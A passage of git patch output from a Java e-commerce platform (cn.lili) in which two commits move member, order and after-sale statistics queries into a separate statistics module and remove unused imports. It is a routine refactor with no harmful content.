cn.lili.modules.store.mapper.BillMapper; -import cn.lili.modules.store.service.BillService; -import cn.lili.modules.store.service.StoreDetailService; -import cn.lili.mybatis.util.PageUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; -import javax.servlet.ServletOutputStream; -import javax.servlet.http.HttpServletResponse; -import java.net.URLEncoder; -import java.util.Date; -import java.util.List; - /** * 结算单统计 * diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java index bff4139d..41cb6d9b 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java @@ -1,40 +1,15 @@ package cn.lili.modules.statistics.serviceimpl; -import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.RocketmqCustomProperties; -import cn.lili.common.utils.CurrencyUtil; -import cn.lili.common.utils.SnowFlake; -import cn.lili.common.vo.PageVO; -import cn.lili.modules.distribution.entity.dos.Distribution; import cn.lili.modules.distribution.entity.dos.DistributionCash; -import cn.lili.modules.distribution.entity.enums.DistributionStatusEnum; -import cn.lili.modules.distribution.entity.vos.DistributionCashSearchParams; -import cn.lili.modules.distribution.mapper.DistributionCashMapper; -import cn.lili.modules.distribution.service.DistributionCashService; -import cn.lili.modules.distribution.service.DistributionService; import cn.lili.modules.statistics.mapper.DistributionCashStatisticsMapper; import cn.lili.modules.statistics.service.DistributionCashStatisticsService; -import cn.lili.modules.wallet.entity.dto.MemberWalletUpdateDTO; -import cn.lili.modules.wallet.entity.dto.MemberWithdrawalMessage; -import cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; -import cn.lili.modules.wallet.entity.enums.MemberWithdrawalDestinationEnum; import cn.lili.modules.wallet.entity.enums.WithdrawStatusEnum; -import cn.lili.modules.wallet.service.MemberWalletService; -import cn.lili.mybatis.util.PageUtil; -import cn.lili.rocketmq.RocketmqSendCallbackBuilder; -import cn.lili.rocketmq.tags.MemberTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import org.apache.rocketmq.spring.core.RocketMQTemplate; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.Date; - /** * 分销佣金统计层实现 diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java index 0d1e885f..255fca6e 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java @@ -2,54 +2,19 @@ package cn.lili.modules.statistics.serviceimpl; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; -import cn.hutool.json.JSONUtil; -import cn.lili.common.enums.ResultCode; -import cn.lili.common.enums.SwitchEnum; -import cn.lili.common.exception.ServiceException; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.common.sensitive.SensitiveWordsFilter; import cn.lili.common.utils.StringUtils; -import cn.lili.modules.goods.entity.dos.GoodsSku; -import cn.lili.modules.goods.service.GoodsSkuService; -import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dos.MemberEvaluation; -import cn.lili.modules.member.entity.dto.EvaluationQueryParams; -import cn.lili.modules.member.entity.dto.MemberEvaluationDTO; -import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; -import cn.lili.modules.member.entity.vo.EvaluationNumberVO; -import cn.lili.modules.member.entity.vo.MemberEvaluationListVO; -import cn.lili.modules.member.entity.vo.MemberEvaluationVO; -import cn.lili.modules.member.mapper.MemberEvaluationMapper; -import cn.lili.modules.member.service.MemberEvaluationService; -import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.order.order.entity.dos.Order; -import cn.lili.modules.order.order.entity.dos.OrderItem; -import cn.lili.modules.order.order.entity.enums.CommentStatusEnum; -import cn.lili.modules.order.order.service.OrderItemService; -import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.statistics.mapper.MemberEvaluationStatisticsMapper; import cn.lili.modules.statistics.service.MemberEvaluationStatisticsService; -import cn.lili.mybatis.util.PageUtil; -import cn.lili.rocketmq.RocketmqSendCallbackBuilder; -import cn.lili.rocketmq.tags.GoodsTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import org.apache.rocketmq.spring.core.RocketMQTemplate; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import javax.annotation.Resource; -import java.util.List; -import java.util.Map; - /** * 会员商品评价业务层实现 * diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java index 0e43ca6b..a6b24251 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderComplaintStatisticsServiceImpl.java @@ -1,45 +1,17 @@ package cn.lili.modules.statistics.serviceimpl; -import cn.hutool.core.util.StrUtil; -import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; -import cn.lili.common.security.AuthUser; -import cn.lili.common.security.OperationalJudgment; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.common.utils.BeanUtil; import cn.lili.common.utils.StringUtils; -import cn.lili.common.vo.PageVO; -import cn.lili.modules.goods.entity.dos.GoodsSku; -import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.order.aftersale.entity.enums.ComplaintStatusEnum; import cn.lili.modules.order.order.entity.dos.OrderComplaint; -import cn.lili.modules.order.order.entity.dos.OrderComplaintCommunication; -import cn.lili.modules.order.order.entity.dos.OrderItem; -import cn.lili.modules.order.order.entity.dto.OrderComplaintDTO; -import cn.lili.modules.order.order.entity.enums.OrderComplaintStatusEnum; -import cn.lili.modules.order.order.entity.vo.*; -import cn.lili.modules.order.order.mapper.OrderComplaintMapper; -import cn.lili.modules.order.order.service.OrderComplaintCommunicationService; -import cn.lili.modules.order.order.service.OrderComplaintService; -import cn.lili.modules.order.order.service.OrderItemService; -import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.statistics.mapper.OrderComplaintStatisticsMapper; import cn.lili.modules.statistics.service.OrderComplaintStatisticsService; -import cn.lili.mybatis.util.PageUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; -import java.util.Date; -import java.util.List; -import java.util.Objects; - /** * 交易投诉业务层实现 * @@ -49,7 +21,6 @@ import java.util.Objects; @Service public class OrderComplaintStatisticsServiceImpl extends ServiceImpl implements OrderComplaintStatisticsService { - @Override public Integer waitComplainNum() { QueryWrapper queryWrapper = Wrappers.query(); diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java index 148470ad..8bc48da9 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java @@ -35,6 +35,7 @@ import java.util.*; */ @Service public class OrderStatisticsServiceImpl extends ServiceImpl implements OrderStatisticsService { + /** * 平台PV统计 */ diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java index 59cf8599..69a53aad 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java @@ -43,6 +43,7 @@ import java.util.List; */ @Service public class PlatformViewServiceImpl extends ServiceImpl implements PlatformViewService { + /** * 在线人数统计 */ diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java index e601376f..c9829e57 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java @@ -10,10 +10,6 @@ import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.Date; -import java.util.List; -import java.util.stream.Collectors; - /** * 秒杀活动统计 * From a8698fbd1a6a8cf75b7cbb9872ae6f025d47c1a4 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 6 Dec 2021 11:12:00 +0800 Subject: [PATCH 038/145] =?UTF-8?q?=E8=BF=81=E7=A7=BB=E4=BC=9A=E5=91=98?= =?UTF-8?q?=E7=BB=9F=E8=AE=A1=E4=B8=9A=E5=8A=A1=E8=87=B3=E7=BB=9F=E8=AE=A1?= =?UTF-8?q?=E6=A8=A1=E5=9D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/member/mapper/MemberMapper.java | 7 ------- .../lili/modules/member/service/MemberService.java | 7 ------- .../member/serviceimpl/MemberServiceImpl.java | 7 ------- .../statistics/mapper/MemberStatisticsMapper.java | 10 ++++++++++ .../statistics/service/MemberStatisticsService.java | 10 ++++++++++ .../serviceimpl/MemberStatisticsServiceImpl.java | 12 +++++++++++- .../serviceimpl/PlatformViewServiceImpl.java | 12 ++++++------ 7 files changed, 37 insertions(+), 28 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/member/mapper/MemberMapper.java b/framework/src/main/java/cn/lili/modules/member/mapper/MemberMapper.java index 4e214753..4455e63e 100644 --- a/framework/src/main/java/cn/lili/modules/member/mapper/MemberMapper.java +++ b/framework/src/main/java/cn/lili/modules/member/mapper/MemberMapper.java @@ -28,13 +28,6 @@ public interface MemberMapper extends BaseMapper { @Select("select m.mobile from li_member m") List getAllMemberMobile(); - /** - * 获取会员分布列表 - * @return 会员分布列表 - */ - @Select("select client_enum,count(0) as num from li_member group by client_enum") - List distribution(); - @Select("select * from li_member ${ew.customSqlSegment}") IPage pageByMemberVO(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java index f3f0d44a..d2b991e6 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java +++ b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java @@ -197,13 +197,6 @@ public interface MemberService extends IService { */ Boolean updateMemberStatus(List memberIds, Boolean status); - /** - * 查看会员数据分布 - * - * @return 会员数据分布 - */ - List distribution(); - /** * 根据条件查询会员总数 * diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java index 3150b7db..81f04a13 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java @@ -423,13 +423,6 @@ public class MemberServiceImpl extends ServiceImpl impleme return this.update(updateWrapper); } - - @Override - public List distribution() { - List memberDistributionVOS = this.baseMapper.distribution(); - return memberDistributionVOS; - } - /** * 根据手机号获取会员 * diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java index 37b0d782..4e9f0206 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java @@ -1,5 +1,6 @@ package cn.lili.modules.statistics.mapper; +import cn.lili.modules.member.entity.vo.MemberDistributionVO; import cn.lili.modules.statistics.entity.dos.MemberStatisticsData; import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; @@ -7,6 +8,8 @@ import com.baomidou.mybatisplus.core.toolkit.Constants; import org.apache.ibatis.annotations.Param; import org.apache.ibatis.annotations.Select; +import java.util.List; + /** * 会员统计数据处理层 * @@ -24,4 +27,11 @@ public interface MemberStatisticsMapper extends BaseMapper @Select("SELECT COUNT(0) FROM li_member ${ew.customSqlSegment}") Integer customSqlQuery(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 获取会员分布列表 + * @return 会员分布列表 + */ + @Select("select client_enum,count(0) as num from li_member group by client_enum") + List distribution(); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsService.java index 0f96bb73..8dd9a447 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/MemberStatisticsService.java @@ -1,5 +1,6 @@ package cn.lili.modules.statistics.service; +import cn.lili.modules.member.entity.vo.MemberDistributionVO; import cn.lili.modules.statistics.entity.dos.MemberStatisticsData; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import com.baomidou.mybatisplus.extension.service.IService; @@ -61,4 +62,13 @@ public interface MemberStatisticsService extends IService * @return */ List statistics(StatisticsQueryParam statisticsQueryParam); + + + /** + * 查看会员数据分布 + * + * @return 会员数据分布 + */ + List distribution(); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java index c96c0965..716828c2 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberStatisticsServiceImpl.java @@ -1,10 +1,11 @@ package cn.lili.modules.statistics.serviceimpl; import cn.hutool.core.date.DateUtil; -import cn.lili.modules.statistics.mapper.MemberStatisticsMapper; +import cn.lili.modules.member.entity.vo.MemberDistributionVO; import cn.lili.modules.statistics.entity.dos.MemberStatisticsData; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.enums.SearchTypeEnum; +import cn.lili.modules.statistics.mapper.MemberStatisticsMapper; import cn.lili.modules.statistics.service.MemberStatisticsService; import cn.lili.modules.statistics.util.StatisticsDateUtil; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; @@ -85,4 +86,13 @@ public class MemberStatisticsServiceImpl extends ServiceImpl distribution() { + List memberDistributionVOS = this.baseMapper.distribution(); + return memberDistributionVOS; + } + } diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java index 69a53aad..d0db1cb9 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java @@ -2,20 +2,20 @@ package cn.lili.modules.statistics.serviceimpl; import cn.lili.cache.Cache; import cn.lili.cache.CachePrefix; +import cn.lili.common.enums.ClientTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.StatisticsProperties; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.CurrencyUtil; -import cn.lili.common.properties.StatisticsProperties; -import cn.lili.common.enums.ClientTypeEnum; import cn.lili.modules.member.entity.vo.MemberDistributionVO; -import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.statistics.mapper.PlatformViewMapper; import cn.lili.modules.statistics.entity.dos.PlatformViewData; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.statistics.entity.enums.SearchTypeEnum; import cn.lili.modules.statistics.entity.vo.OnlineMemberVO; import cn.lili.modules.statistics.entity.vo.PlatformViewVO; +import cn.lili.modules.statistics.mapper.PlatformViewMapper; +import cn.lili.modules.statistics.service.MemberStatisticsService; import cn.lili.modules.statistics.service.PlatformViewService; import cn.lili.modules.statistics.util.StatisticsDateUtil; import cn.lili.modules.statistics.util.StatisticsSuffix; @@ -53,7 +53,7 @@ public class PlatformViewServiceImpl extends ServiceImpl) cache.get(CachePrefix.MEMBER_DISTRIBUTION.getPrefix()); } - List memberDistributionVOS = memberService.distribution(); + List memberDistributionVOS = memberStatisticsService.distribution(); //统计总数 int count = 0; From f7ab6dc6ae34ab5ba73fa310a1402342727b88bb Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 6 Dec 2021 11:37:21 +0800 Subject: [PATCH 039/145] =?UTF-8?q?=E7=BB=9F=E8=AE=A1=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E7=BB=A7=E7=BB=AD=E7=8B=AC=E7=AB=8B=EF=BC=8C=E6=8B=86=E5=88=86?= =?UTF-8?q?=E4=B8=9A=E5=8A=A1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../aftersale/service/AfterSaleService.java | 8 ---- .../serviceimpl/AfterSaleServiceImpl.java | 11 ----- .../order/order/mapper/OrderMapper.java | 42 +++++++++---------- .../order/order/service/OrderService.java | 14 ------- .../order/serviceimpl/OrderServiceImpl.java | 15 ------- .../mapper/OrderStatisticsMapper.java | 23 ++++++++++ .../service/AfterSaleStatisticsService.java | 12 ++++++ .../service/OrderStatisticsService.java | 11 +++++ .../AfterSaleStatisticsServiceImpl.java | 19 +++++++++ .../OrderStatisticsServiceImpl.java | 20 ++++++++- .../OrderStatisticsManagerController.java | 11 ++--- .../OrderStatisticsStoreController.java | 14 ++----- 12 files changed, 113 insertions(+), 87 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java index 79208722..84dccdcb 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java @@ -138,12 +138,4 @@ public interface AfterSaleService extends IService { */ StoreAfterSaleAddressDTO getStoreAfterSaleAddressDTO(String sn); - /** - * 获取统计的售后 - * - * @param statisticsQueryParam 统计搜索参数 - * @param pageVO 分页 - * @return 售后分页列表 - */ - IPage getStatistics(StatisticsQueryParam statisticsQueryParam, PageVO pageVO); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java index f89bb196..cf5ee263 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java @@ -372,17 +372,6 @@ public class AfterSaleServiceImpl extends ServiceImpl getStatistics(StatisticsQueryParam statisticsQueryParam, PageVO pageVO) { - - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - Date[] dates = StatisticsDateUtil.getDateArray(statisticsQueryParam); - queryWrapper.between(AfterSale::getCreateTime, dates[0], dates[1]); - queryWrapper.eq(CharSequenceUtil.isNotEmpty(statisticsQueryParam.getStoreId()), AfterSale::getStoreId, statisticsQueryParam.getStoreId()); - - return this.page(PageUtil.initPage(pageVO), queryWrapper); - } - /** * 创建售后 * diff --git a/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java b/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java index a86f0e68..926e397d 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java +++ b/framework/src/main/java/cn/lili/modules/order/order/mapper/OrderMapper.java @@ -31,27 +31,6 @@ public interface OrderMapper extends BaseMapper { @Update({"update li_order set order_status = #{status} where sn = #{orderSn}"}) void updateStatus(String status, String orderSn); - /** - * 查询订单简短信息分页 - * - * @param page 分页 - * @param queryWrapper 查询条件 - * @return 简短订单分页 - */ - @Select("select o.sn,o.flow_price,o.create_time,o.order_status,o.pay_status,o.payment_method,o.payment_time,o.member_name,o.store_name as store_name,o.store_id as store_id,o.client_type,o.order_type,o.deliver_status " + - ",GROUP_CONCAT(oi.goods_id) as group_goods_id," + - " GROUP_CONCAT(oi.sku_id) as group_sku_id," + - " GROUP_CONCAT(oi.num) as group_num" + - ",GROUP_CONCAT(oi.image) as group_images" + - ",GROUP_CONCAT(oi.goods_name) as group_name " + - ",GROUP_CONCAT(oi.after_sale_status) as group_after_sale_status" + - ",GROUP_CONCAT(oi.complain_status) as group_complain_status" + - ",GROUP_CONCAT(oi.comment_status) as group_comment_status" + - ",GROUP_CONCAT(oi.sn) as group_order_items_sn " + - ",GROUP_CONCAT(oi.goods_price) as group_goods_price " + - " FROM li_order o INNER JOIN li_order_item AS oi on o.sn = oi.order_sn ${ew.customSqlSegment} ") - IPage queryByParams(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - /** * 查询导出订单DTO列表 * @@ -74,4 +53,25 @@ public interface OrderMapper extends BaseMapper { @Select("select * from li_order ${ew.customSqlSegment} ") IPage queryPaymentLogs(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + /** + * 查询订单简短信息分页 + * + * @param page 分页 + * @param queryWrapper 查询条件 + * @return 简短订单分页 + */ + @Select("select o.sn,o.flow_price,o.create_time,o.order_status,o.pay_status,o.payment_method,o.payment_time,o.member_name,o.store_name as store_name,o.store_id as store_id,o.client_type,o.order_type,o.deliver_status " + + ",GROUP_CONCAT(oi.goods_id) as group_goods_id," + + " GROUP_CONCAT(oi.sku_id) as group_sku_id," + + " GROUP_CONCAT(oi.num) as group_num" + + ",GROUP_CONCAT(oi.image) as group_images" + + ",GROUP_CONCAT(oi.goods_name) as group_name " + + ",GROUP_CONCAT(oi.after_sale_status) as group_after_sale_status" + + ",GROUP_CONCAT(oi.complain_status) as group_complain_status" + + ",GROUP_CONCAT(oi.comment_status) as group_comment_status" + + ",GROUP_CONCAT(oi.sn) as group_order_items_sn " + + ",GROUP_CONCAT(oi.goods_price) as group_goods_price " + + " FROM li_order o INNER JOIN li_order_item AS oi on o.sn = oi.order_sn ${ew.customSqlSegment} ") + IPage queryByParams(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java index 9fb0db50..544c4c8d 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java @@ -1,6 +1,5 @@ package cn.lili.modules.order.order.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.member.entity.dto.MemberAddressDTO; import cn.lili.modules.order.cart.entity.dto.TradeDTO; import cn.lili.modules.order.order.entity.dos.Order; @@ -10,13 +9,10 @@ import cn.lili.modules.order.order.entity.dto.OrderSearchParams; import cn.lili.modules.order.order.entity.vo.OrderDetailVO; import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; import cn.lili.modules.order.order.entity.vo.PaymentLog; -import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.system.entity.vo.Traces; import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.core.toolkit.Constants; import com.baomidou.mybatisplus.extension.service.IService; -import org.apache.ibatis.annotations.Param; import org.springframework.web.multipart.MultipartFile; import javax.servlet.http.HttpServletResponse; @@ -190,16 +186,6 @@ public interface OrderService extends IService { */ void deleteOrder(String sn); - /** - * 获取统计的订单 - * - * @param statisticsQueryParam - * @param pageVO - * @return - */ - IPage getStatistics(StatisticsQueryParam statisticsQueryParam, PageVO pageVO); - - /** * 开具发票 * diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java index b3152cc2..efb4a17c 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderServiceImpl.java @@ -481,21 +481,6 @@ public class OrderServiceImpl extends ServiceImpl implements this.orderItemService.update(orderItemLambdaUpdateWrapper); } - @Override - public IPage getStatistics(StatisticsQueryParam statisticsQueryParam, PageVO pageVO) { - - QueryWrapper queryWrapper = new QueryWrapper<>(); - Date[] dates = StatisticsDateUtil.getDateArray(statisticsQueryParam); - queryWrapper.between("o.create_time", dates[0], dates[1]); - queryWrapper.eq(StringUtils.isNotEmpty(statisticsQueryParam.getStoreId()), - "o.store_id", statisticsQueryParam.getStoreId()); - - queryWrapper.eq("o.delete_flag", false); - queryWrapper.groupBy("o.id"); - queryWrapper.orderByDesc("o.id"); - return this.baseMapper.queryByParams(PageUtil.initPage(pageVO), queryWrapper); - } - @Override public Boolean invoice(String sn) { //根据订单号查询发票信息 diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java index f8e42a5d..9d7ea098 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/OrderStatisticsMapper.java @@ -1,9 +1,11 @@ package cn.lili.modules.statistics.mapper; import cn.lili.modules.order.order.entity.dos.StoreFlow; +import cn.lili.modules.order.order.entity.vo.OrderSimpleVO; import cn.lili.modules.statistics.entity.vo.OrderStatisticsDataVO; import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Constants; import org.apache.ibatis.annotations.Param; import org.apache.ibatis.annotations.Select; @@ -35,4 +37,25 @@ public interface OrderStatisticsMapper extends BaseMapper { @Select("SELECT count(0) FROM li_order ${ew.customSqlSegment}") Integer count(@Param(Constants.WRAPPER) Wrapper queryWrapper); + /** + * 查询订单简短信息分页 + * + * @param page 分页 + * @param queryWrapper 查询条件 + * @return 简短订单分页 + */ + @Select("select o.sn,o.flow_price,o.create_time,o.order_status,o.pay_status,o.payment_method,o.payment_time,o.member_name,o.store_name as store_name,o.store_id as store_id,o.client_type,o.order_type,o.deliver_status " + + ",GROUP_CONCAT(oi.goods_id) as group_goods_id," + + " GROUP_CONCAT(oi.sku_id) as group_sku_id," + + " GROUP_CONCAT(oi.num) as group_num" + + ",GROUP_CONCAT(oi.image) as group_images" + + ",GROUP_CONCAT(oi.goods_name) as group_name " + + ",GROUP_CONCAT(oi.after_sale_status) as group_after_sale_status" + + ",GROUP_CONCAT(oi.complain_status) as group_complain_status" + + ",GROUP_CONCAT(oi.comment_status) as group_comment_status" + + ",GROUP_CONCAT(oi.sn) as group_order_items_sn " + + ",GROUP_CONCAT(oi.goods_price) as group_goods_price " + + " FROM li_order o INNER JOIN li_order_item AS oi on o.sn = oi.order_sn ${ew.customSqlSegment} ") + IPage queryByParams(IPage page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java index ed5215a0..20d8be4d 100644 --- 